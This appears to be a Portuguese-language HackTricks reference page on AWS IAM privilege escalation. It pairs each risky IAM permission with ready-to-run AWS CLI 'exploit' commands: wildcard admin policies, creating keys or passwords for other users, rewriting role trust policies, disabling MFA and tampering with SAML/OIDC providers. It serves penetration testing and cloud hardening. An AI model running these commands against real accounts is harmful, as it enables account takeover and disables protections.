AWS - IAM Privesc

Support HackTricks

IAM

Para mais informações sobre IAM, confira:

iam:CreatePolicyVersion

Concede a capacidade de criar uma nova versão de política IAM, contornando a necessidade de permissão iam:SetDefaultPolicyVersion usando a flag --set-as-default. Isso permite definir permissões personalizadas.

Comando de Exploração:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impacto: Escalona diretamente privilégios ao permitir qualquer ação em qualquer recurso.

iam:SetDefaultPolicyVersion

Permite alterar a versão padrão de uma política IAM para outra versão existente, potencialmente escalonando privilégios se a nova versão tiver mais permissões.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: Escalação de privilégio indireta ao habilitar mais permissões.

iam:CreateAccessKey

Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégio.

Exploit:

aws iam create-access-key --user-name <target_user>

Impacto: Escalação de privilégio direta ao assumir as permissões estendidas de outro usuário.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalação de privilégio direta.

Exploit para Criação:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit para Atualização:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impacto: Escalação de privilégio direta ao fazer login como "qualquer" usuário.

iam:UpdateAccessKey

Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalação direta de privilégios ao reativar chaves de acesso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.

Exploit para Criação:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit para Redefinir:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Escalação direta de privilégios dentro das permissões de serviço do usuário.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite anexar políticas a usuários ou grupos, escalando diretamente os privilégios ao herdar as permissões da política anexada.

Exploit para Usuário:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit para Grupo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Escalação de privilégios direta para qualquer coisa que a política concede.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada direta de privilégios ao conceder permissões adicionais.

Exploit para Função:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit para Políticas Inline:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Você pode usar uma política como:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impacto: Escalação direta de privilégios ao adicionar permissões através de políticas.

iam:AddUserToGroup

Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impacto: Escalada de privilégios direta para o nível das permissões do grupo.

iam:UpdateAssumeRolePolicy

Permite alterar o documento da política de assumir função de uma função, possibilitando a assunção da função e suas permissões associadas.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Onde a política se parece com o seguinte, que concede ao usuário permissão para assumir a função:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impacto: Escalação de privilégios direta ao assumir as permissões de qualquer função.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégios indireta.

Exploit para Upload de Chave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit para Desativação de MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impacto: Escalação de privilégio indireta ao habilitar o acesso ao CodeCommit ou desabilitar a proteção MFA.

iam:ResyncMFADevice

Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada de privilégio indireta ao manipular a proteção MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalação de privilégio indireta ao adicionar ou manipular dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Com essas permissões, você pode alterar os metadados XML da conexão SAML. Então, você poderia abusar da federação SAML para fazer login com qualquer papel que esteja confiando nele.

Observe que, ao fazer isso, usuários legítimos não poderão fazer login. No entanto, você poderia obter o XML, para que possa colocar o seu, fazer login e configurar o anterior de volta.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Uma ferramenta capaz de gerar os metadados SAML e fazer login com um papel especificado

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Incerto sobre isso) Se um atacante tiver essas permissões, ele poderia adicionar uma nova impressão digital para conseguir fazer login em todos os papéis que confiam no provedor.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referências

Suporte ao HackTricks

Last updated